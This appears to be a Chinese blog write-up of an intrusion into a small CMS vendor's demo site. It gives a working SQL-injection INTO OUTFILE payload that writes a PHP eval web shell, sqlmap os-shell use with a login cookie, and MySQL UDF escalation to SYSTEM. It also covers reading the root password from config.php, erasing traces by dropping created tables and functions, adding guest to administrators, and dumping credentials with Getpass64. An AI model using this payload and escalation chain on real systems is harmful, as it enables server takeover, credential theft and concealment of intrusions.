小型cms的官网渗透+提权
事情的起因:
在某cms 官网站点的demo站 后台 挖到SQL注入一枚
也就是这个cms通用的 后台SQL注入漏洞
毕竟比较菜,
本来看有大佬 挖到洞换了100RMB 我才下手的,在后台找到洞以为少说给点酷币!
我看SQL的权限是ROOT
当时就想 如果有路径 可以尝试下getshell

这是在后台的一个功能 可以调用phpinfo 也只能调用phpinfo 如果我SQL没getshell成功的话 可以回过来审计这块
好了 路径我们有了 D:\wwwroot\xxxxxxx\
现在我们回到后台处
SQL注入
本来我是手工导了个txt 但是查看失败了 我以为是我脑残手工出问题了 (但后来我才知道 到处成功了 只是网站很怪 不显示txt 任何内容 )
后来改txt 为 php 就成功了
手工导出payload:
1'union select 'echod<?php @eval($_POST[1])?>' into outfile 'D:\\wwwroot\\xxxxx\\demo\\xxxxxxxx.php' #
sqlmap导出:
上神器sqlmap 的os shell sqlmap 用起来也简单 因为是后台SQL注入 记得加 --cookie "里面放登陆的cookie" 就可以注入了

在拿到shell 之后 才开始了坑的篇章
我可能死在 '\' '\\' mysql 的斜线上面 \'
mysql udf root 提权
这个无脑 @@basedir 查看插件
其实更准确点的操作 分析下mysql 的版本 大于 5.1 还是小于5 .1 决定 导出的目录
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
擦除痕迹:
drop table xx;
drop function xx;
删除你创建的
这边我直接利用大马自带的udf 提权去操作了
root 密码怎么来的? 首先我们在SQL注入的时候就知道了 当前用户权限是root
在拿到shell的时候之后 在config.php 里面读出root 密码

拿到system 权限
尴尬的地方:


这里是对方做的设置
1.判断用户组 是否有登陆权限
2.判断用户组&&用户 是否有登陆权限
3.判断用户 是否有登陆权限
可能是被防火墙给拦截了 net localgroup administraotrs guest /add
这条命令绕WAF的方法 还指望大佬指教
这里小弟采用的姿势是 getpass
利用Getpass64 导出结果到文本


浙公网安备 33010602011771号